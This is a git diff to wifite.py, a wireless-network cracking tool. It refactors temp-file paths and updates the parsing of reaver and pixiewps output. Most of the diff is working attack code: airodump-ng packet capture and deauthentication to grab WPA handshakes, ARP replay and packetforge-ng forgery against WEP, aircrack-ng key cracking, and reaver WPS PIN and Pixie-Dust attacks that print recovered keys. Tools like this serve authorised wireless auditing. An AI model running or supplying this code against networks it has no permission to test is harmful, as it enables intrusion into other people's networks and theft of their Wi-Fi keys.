diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..2be5a3d --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +cracked.csv +*.cap +*.swp diff --git a/wifite.py b/wifite.py index 54ecca1..42fc67e 100755 --- a/wifite.py +++ b/wifite.py @@ -1054,12 +1054,15 @@ def scan(self, channel=0, iface='', tried_rtl8187_fix=False): "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132" Returns list of selected targets and list of clients. """ - remove_airodump_files(self.RUN_CONFIG.temp + 'wifite') + airodump_file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wifite') + csv_file = airodump_file_prefix + '-01.csv' + cap_file = airodump_file_prefix + '-01.cap' + remove_airodump_files(airodump_file_prefix) command = ['airodump-ng', '-a', # only show associated clients '--write-interval', '1', # Write every second - '-w', self.RUN_CONFIG.temp + 'wifite'] # output file + '-w', airodump_file_prefix] # output file if channel != 0: command.append('-c') command.append(str(channel)) @@ -1076,7 +1079,7 @@ def scan(self, channel=0, iface='', tried_rtl8187_fix=False): stop_scanning = False while True: time.sleep(0.3) - if not os.path.exists(self.RUN_CONFIG.temp + 'wifite-01.csv') and time.time() - time_started > 1.0: + if not os.path.exists(csv_file) and time.time() - time_started > 1.0: print R + '\n [!] ERROR!' + W # RTL8187 Unknown Error 132 FIX if proc.poll() is not None: # Check if process has finished @@ -1089,7 +1092,7 @@ def scan(self, channel=0, iface='', tried_rtl8187_fix=False): print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W self.RUN_CONFIG.exit_gracefully(1) - (targets, clients) = self.parse_csv(self.RUN_CONFIG.temp + 'wifite-01.csv') + (targets, clients) = self.parse_csv(csv_file) # Remove any already cracked networks if configured to do so if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False: @@ -1188,7 +1191,7 @@ def scan(self, channel=0, iface='', tried_rtl8187_fix=False): if self.RUN_CONFIG.VERBOSE_APS and len(targets) > 0: targets = sorted(targets, key=lambda t: t.power, reverse=True) if not self.RUN_CONFIG.WPS_DISABLE: - wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap', verbose=False) + wps_check_targets(targets, cap_file, verbose=False) os.system('clear') print GR + '\n [+] ' + G + 'scanning' + W + ' (' + G + iface + W + '), updates at 1 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.\n' @@ -1266,9 +1269,9 @@ def scan(self, channel=0, iface='', tried_rtl8187_fix=False): # Use "wash" program to check for WPS compatibility if not self.RUN_CONFIG.WPS_DISABLE: - wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap') + wps_check_targets(targets, cap_file) - remove_airodump_files(self.RUN_CONFIG.temp + 'wifite') + remove_airodump_files(airodump_file_prefix) if stop_scanning: return (targets, clients) @@ -2182,14 +2185,18 @@ def wpa_get_handshake(self): + '_' + self.target.bssid.replace(':', '-') \ + '_' + str(save_index) + '.cap' + file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wpa') + cap_file = file_prefix + '-01.cap' + csv_file = file_prefix + '-01.csv' + # Remove previous airodump output files (if needed) - remove_airodump_files(self.RUN_CONFIG.temp + 'wpa') + remove_airodump_files(file_prefix) # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C) try: # Start airodump-ng process to capture handshakes cmd = ['airodump-ng', - '-w', self.RUN_CONFIG.temp + 'wpa', + '-w', file_prefix, '-c', self.target.channel, '--write-interval', '1', '--bssid', self.target.bssid, @@ -2259,15 +2266,16 @@ def wpa_get_handshake(self): stdout.flush() # Copy current dump file for consistency - if not os.path.exists(self.RUN_CONFIG.temp + 'wpa-01.cap'): continue - copy(self.RUN_CONFIG.temp + 'wpa-01.cap', self.RUN_CONFIG.temp + 'wpa-01.cap.temp') + if not os.path.exists(cap_file): continue + temp_cap_file = cap_file + '.temp' + copy(cap_file, temp_cap_file) # Save copy of cap file (for debugging) #remove_file('/root/new/wpa-01.cap') #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap') # Check for handshake - if self.has_handshake(self.target, self.RUN_CONFIG.temp + 'wpa-01.cap.temp'): + if self.has_handshake(self.target, temp_cap_file): got_handshake = True try: @@ -2280,7 +2288,7 @@ def wpa_get_handshake(self): send_interrupt(proc_deauth) # Save a copy of the handshake - rename(self.RUN_CONFIG.temp + 'wpa-01.cap.temp', save_as) + rename(temp_cap_file, save_as) print '\n %s %shandshake captured%s! saved as "%s"' % ( GR + sec_to_hms(seconds_running) + W, G, W, G + save_as + W) @@ -2299,10 +2307,10 @@ def wpa_get_handshake(self): break # Break out of while loop # No handshake yet - os.remove(self.RUN_CONFIG.temp + 'wpa-01.cap.temp') + os.remove(temp_cap_file) # Check the airodump output file for new clients - for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wpa-01.csv')[1]: + for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[1]: if client.station != self.target.bssid: continue new_client = True for c in target_clients: @@ -2324,7 +2332,7 @@ def wpa_get_handshake(self): except KeyboardInterrupt: print R + '\n (^C)' + O + ' WPA handshake capture interrupted' + W if attack_interrupted_prompt(): - remove_airodump_files(self.RUN_CONFIG.temp + 'wpa') + remove_airodump_files(file_prefix) send_interrupt(proc_read) send_interrupt(proc_deauth) print '' @@ -2332,7 +2340,7 @@ def wpa_get_handshake(self): # clean up - remove_airodump_files(self.RUN_CONFIG.temp + 'wpa') + remove_airodump_files(file_prefix) send_interrupt(proc_read) send_interrupt(proc_deauth) @@ -2713,12 +2721,17 @@ def attack_wep(self): print ' %s preparing attack "%s" (%s)' % \ (GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W, G + self.target.bssid + W) - remove_airodump_files(self.RUN_CONFIG.temp + 'wep') - remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') + file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wep') + wepkey_file = os.path.join(self.RUN_CONFIG.temp, 'wepkey.txt') + csv_file = file_prefix + '-01.csv' + cap_file = file_prefix + '-01.cap' + + remove_airodump_files(file_prefix) + remove_file(wepkey_file) # Start airodump process to capture packets cmd_airodump = ['airodump-ng', - '-w', self.RUN_CONFIG.temp + 'wep', # Output file name (wep-01.cap, wep-01.csv) + '-w', file_prefix, # Output file name (wep-01.cap, wep-01.csv) '-c', self.target.channel, # Wireless channel '--write-interval', '1', '--bssid', self.target.bssid, @@ -2764,7 +2777,7 @@ def attack_wep(self): print R + ' [!]' + O + ' to skip this speed bump, select "ignore-fake-auth" at command-line' return False - remove_file(self.RUN_CONFIG.temp + 'arp.cap') + remove_file(os.path.join(self.RUN_CONFIG.temp, 'arp.cap')) # Generate the aireplay-ng arguments based on attack_num and other params cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac) if cmd == '': continue @@ -2813,7 +2826,7 @@ def attack_wep(self): # Calculates total seconds remaining # Check number of IVs captured - csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0] + csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[0] if len(csv) > 0: ivs = int(csv[0].data) print "\r ", @@ -2832,12 +2845,12 @@ def attack_wep(self): # Start cracking cmd = ['aircrack-ng', '-a', '1', - '-l', self.RUN_CONFIG.temp + 'wepkey.txt'] + '-l', wepkey_file] #temp + 'wep-01.cap'] # Append all .cap files in temp directory (in case we are resuming) for f in os.listdir(self.RUN_CONFIG.temp): if f.startswith('wep-') and f.endswith('.cap'): - cmd.append(self.RUN_CONFIG.temp + f) + cmd.append(os.path.join(self.RUN_CONFIG.temp, f)) print "\r %s started %s (%sover %d ivs%s)" % ( GR + current_hms + W, G + 'cracking' + W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W) @@ -2845,9 +2858,9 @@ def attack_wep(self): started_cracking = True # Check if key has been cracked yet. - if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'): + if os.path.exists(wepkey_file): # Cracked! - infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r') + infile = open(wepkey_file, 'r') key = infile.read().replace('\n', '') infile.close() print '\n\n %s %s %s (%s)! key: "%s"' % ( @@ -2870,8 +2883,8 @@ def attack_wep(self): send_interrupt(proc_aircrack) # Remove files generated by airodump/aireplay/packetforce time.sleep(0.5) - remove_airodump_files(self.RUN_CONFIG.temp + 'wep') - remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') + remove_airodump_files(file_prefix) + remove_file(wepkey_file) return True # Check if aireplay is still executing @@ -2892,12 +2905,13 @@ def attack_wep(self): # Check for a .XOR file (we expect one when doing chopchop/fragmentation xor_file = '' for filename in sorted(os.listdir(self.RUN_CONFIG.temp)): - if filename.lower().endswith('.xor'): xor_file = self.RUN_CONFIG.temp + filename + if filename.lower().endswith('.xor'): + xor_file = os.path.join(self.RUN_CONFIG.temp, filename) if xor_file == '': print '\r %s attack failed: %sunable to generate keystream %s' % (R + current_hms, O, W) break - remove_file(self.RUN_CONFIG.temp + 'arp.cap') + remove_file(os.path.join(self.RUN_CONFIG.temp, 'arp.cap')) cmd = ['packetforge-ng', '-0', '-a', self.target.bssid, @@ -2905,7 +2919,7 @@ def attack_wep(self): '-k', '192.168.1.2', '-l', '192.168.1.100', '-y', xor_file, - '-w', self.RUN_CONFIG.temp + 'arp.cap', + '-w', os.path.join(self.RUN_CONFIG.temp, 'arp.cap'), self.iface] proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN) proc_pforge.wait() @@ -2923,7 +2937,7 @@ def attack_wep(self): '--ignore-negative-one', '--arpreplay', '-b', self.target.bssid, - '-r', self.RUN_CONFIG.temp + 'arp.cap', # Used the forged ARP packet + '-r', os.path.join(self.RUN_CONFIG.temp, 'arp.cap'), # Used the forged ARP packet '-F', # Select the first packet self.iface] proc_aireplay = Popen(cmd, stdout=DN, stderr=DN) @@ -2936,7 +2950,7 @@ def attack_wep(self): while started_cracking: # ivs > WEP_CRACK_AT_IVS: time.sleep(1) # Check number of IVs captured - csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0] + csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[0] if len(csv) > 0: ivs = int(csv[0].data) print GR + " [endless]" + W + " captured %s%d%s ivs, iv/sec: %s%d%s \r" % \ @@ -2945,9 +2959,9 @@ def attack_wep(self): stdout.flush() # Check if key has been cracked yet. - if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'): + if os.path.exists(wepkey_file): # Cracked! - infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r') + infile = open(wepkey_file, 'r') key = infile.read().replace('\n', '') infile.close() print GR + '\n\n [endless] %s %s (%s)! key: "%s"' % ( @@ -2965,8 +2979,8 @@ def attack_wep(self): send_interrupt(proc_aireplay) send_interrupt(proc_aircrack) # Remove files generated by airodump/aireplay/packetforce - remove_airodump_files(self.RUN_CONFIG.temp + 'wep') - remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') + remove_airodump_files(file_prefix) + remove_file(wepkey_file) return True # Keyboard interrupt during attack @@ -3014,7 +3028,7 @@ def attack_wep(self): save_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '_' + self.target.bssid.replace(':', '-') + '.cap' + W try: - rename(self.RUN_CONFIG.temp + 'wep-01.cap', save_as) + rename(cap_file, save_as) except OSError: print R + ' [!]' + O + ' unable to save capture file!' + W else: @@ -3024,8 +3038,8 @@ def attack_wep(self): for filename in os.listdir('.'): if filename.startswith('replay_arp-') and filename.endswith('.cap'): remove_file(filename) - remove_airodump_files(self.RUN_CONFIG.temp + 'wep') - remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') + remove_airodump_files(file_prefix) + remove_file(wepkey_file) print '' if response == 'e': self.RUN_CONFIG.exit_gracefully(0) @@ -3035,10 +3049,11 @@ def attack_wep(self): # Continue attacks # Need to backup temp/wep-01.cap and remove airodump files i = 2 - while os.path.exists(self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap'): + while os.path.exists(os.path.join(self.RUN_CONFIG.temp, 'wep-' + str(i) + '.cap')): i += 1 - copy(self.RUN_CONFIG.temp + "wep-01.cap", self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap') - remove_airodump_files(self.RUN_CONFIG.temp + 'wep') + new_cap_file = os.path.join(self.RUN_CONFIG.temp, 'wep-' + str(i) + '.cap') + copy(cap_file, new_cap_file) + remove_airodump_files(file_prefix) # Need to restart airodump-ng, as it's been interrupted/killed proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN) @@ -3067,8 +3082,8 @@ def attack_wep(self): for filename in os.listdir('.'): if filename.startswith('replay_arp-') and filename.endswith('.cap'): remove_file(filename) - remove_airodump_files(self.RUN_CONFIG.temp + 'wep') - remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') + remove_airodump_files(file_prefix) + remove_file(wepkey_file) def wep_fake_auth(self, iface, target, time_to_display): """ @@ -3271,21 +3286,24 @@ def attack_wps_pixie(self): # TODO Check if the user's version of reaver supports the Pixie attack (1.5.2+, "mod by t6_x") # If not, return False + output_file = os.path.join(self.RUN_CONFIG.temp, 'out.out') + pixie_file = os.path.join(self.RUN_CONFIG.temp, 'pixie.out') + print GR + ' [0:00:00]' + W + ' initializing %sWPS Pixie attack%s on %s' % \ (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W) cmd = ['reaver', '-i', self.iface, '-b', self.target.bssid, - '-o', self.RUN_CONFIG.temp + 'out.out', # Dump output to file to be monitored '-c', self.target.channel, - '-s', 'n', '-K', '1', # Pixie WPS attack '-vv'] # verbose output - # Redirect stderr to output file - errf = open(self.RUN_CONFIG.temp + 'pixie.out', 'a') + # Redirect output to files + outf = open(output_file, 'a') + errf = open(pixie_file, 'a') + # Start process - proc = Popen(cmd, stdout=errf, stderr=errf) + proc = Popen(cmd, stdout=outf, stderr=errf) cracked = False # Flag for when password/pin is found time_started = time.time() @@ -3299,27 +3317,38 @@ def attack_wps_pixie(self): if proc.poll() != None: # Process stopped: Cracked? Failed? errf.close() - inf = open(self.RUN_CONFIG.temp + 'pixie.out', 'r') + inf = open(output_file, 'r') lines = inf.read().split('\n') inf.close() for line in lines: - # When it's cracked: + # Cracked: older pixiewps/reaver output if line.find("WPS PIN: '") != -1: pin = line[line.find("WPS PIN: '") + 10:-1] + cracked = True if line.find("WPA PSK: '") != -1: key = line[line.find("WPA PSK: '") + 10:-1] + + # Cracked: Newer pixiewps output + if line.find("WPS pin: ") != -1: + pin = line[line.find("WPS pin: ") + 10:] cracked = True - # When it' failed: + if line.find("WPA PSK: ") != -1: + key = line[line.find("WPA PSK: ") + 10:] + + # Failed: if 'Pixie-Dust' in line and 'WPS pin not found' in line: # PixieDust isn't possible on this router print '\r %s WPS Pixie attack%s failed - WPS pin not found %s' % (GR + sec_to_hms(time.time() - time_started) + G, R, W) break break + # (Reaver is still running) + print '\r %s WPS Pixie attack:' % (GR + sec_to_hms(time.time() - time_started) + G), + # Check if there's an output file to parse - if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue - inf = open(self.RUN_CONFIG.temp + 'out.out', 'r') + if not os.path.exists(output_file): continue + inf = open(output_file, 'r') lines = inf.read().split('\n') inf.close() @@ -3335,7 +3364,7 @@ def attack_wps_pixie(self): if 'Sending M2 message' in output_line: # At this point in the Pixie attack, all output is via stderr # We have to wait for the process to finish to see the result. - print O, 'attempting to crack and fetch psk... ', W, + print O, 'sending M2 message (may take a while)... ', W, elif output_line != '': # Print the last message from reaver as a "status update" print C, output_line, W, ' ' * (50 - len(output_line)), @@ -3343,13 +3372,19 @@ def attack_wps_pixie(self): stdout.flush() # Clear out output file - inf = open(self.RUN_CONFIG.temp + 'out.out', 'w') + inf = open(output_file, 'w') inf.close() # End of big "while not cracked" loop if cracked: - if pin != '': print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W) - if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W) + if pin != '': + print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W) + + if key != '': + print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W) + else: + key = 'N/A' + self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % ( G + self.target.ssid + W, C + key + W, C + pin + W)) self.RUN_CONFIG.WPA_FINDINGS.append('') @@ -3358,6 +3393,8 @@ def attack_wps_pixie(self): t.key = key t.wps = pin self.RUN_CONFIG.save_cracked(t) + else: + print GR + '\n [+]' + R + ' Attack failed.' + W except KeyboardInterrupt: print R + '\n (^C)' + O + ' WPS Pixie attack interrupted' + W @@ -3369,8 +3406,9 @@ def attack_wps_pixie(self): send_interrupt(proc) # Delete the files - os.remove(self.RUN_CONFIG.temp + "out.out") - os.remove(self.RUN_CONFIG.temp + "pixie.out") + if os.path.exists(output_file): os.remove(output_file) + if os.path.exists(pixie_file): os.remove(pixie_file) + return cracked @@ -3384,14 +3422,11 @@ def attack_wps(self): print GR + ' [0:00:00]' + W + ' initializing %sWPS PIN attack%s on %s' % \ (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W) + output_file = os.path.join(self.RUN_CONFIG.temp, 'out.out') cmd = ['reaver', '-i', self.iface, '-b', self.target.bssid, - '-o', self.RUN_CONFIG.temp + 'out.out', # Dump output to file to be monitored - - # Now that -a is gone, we can't resume sessions arbitrarily. - # TODO: Save session to a file, maybe ~/.wifite/ - '--session', '/dev/null', + '-o', output_file, # Dump output to file to be monitored '-c', self.target.channel, '-vv'] # verbose output proc = Popen(cmd, stdout=DN, stderr=DN) @@ -3412,24 +3447,24 @@ def attack_wps(self): while not cracked: time.sleep(1) + if not os.path.exists(output_file): continue + if proc.poll() != None: # Process stopped: Cracked? Failed? - inf = open(self.RUN_CONFIG.temp + 'out.out', 'r') + inf = open(output_file, 'r') lines = inf.read().split('\n') inf.close() for line in lines: # When it's cracked: if line.find("WPS PIN: '") != -1: pin = line[line.find("WPS PIN: '") + 10:-1] + cracked = True if line.find("WPA PSK: '") != -1: key = line[line.find("WPA PSK: '") + 10:-1] - cracked = True break - if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue - - inf = open(self.RUN_CONFIG.temp + 'out.out', 'r') + inf = open(output_file, 'r') lines = inf.read().split('\n') inf.close() @@ -3463,9 +3498,9 @@ def attack_wps(self): # Check for PIN/PSK elif line.find("WPS PIN: '") != -1: pin = line[line.find("WPS PIN: '") + 10:-1] + cracked = True elif line.find("WPA PSK: '") != -1: key = line[line.find("WPA PSK: '") + 10:-1] - cracked = True if cracked: break print ' %s WPS attack, %s success/ttl,' % \ @@ -3499,14 +3534,18 @@ def attack_wps(self): stdout.flush() # Clear out output file if bigger than 1mb - inf = open(self.RUN_CONFIG.temp + 'out.out', 'w') + inf = open(output_file, 'w') inf.close() # End of big "while not cracked" loop if cracked: - if pin != '': print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W) - if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W) + if pin != '': + print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W) + if key != '': + print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W) + else: + key = 'N/A' self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % ( G + self.target.ssid + W, C + key + W, C + pin + W)) self.RUN_CONFIG.WPA_FINDINGS.append('')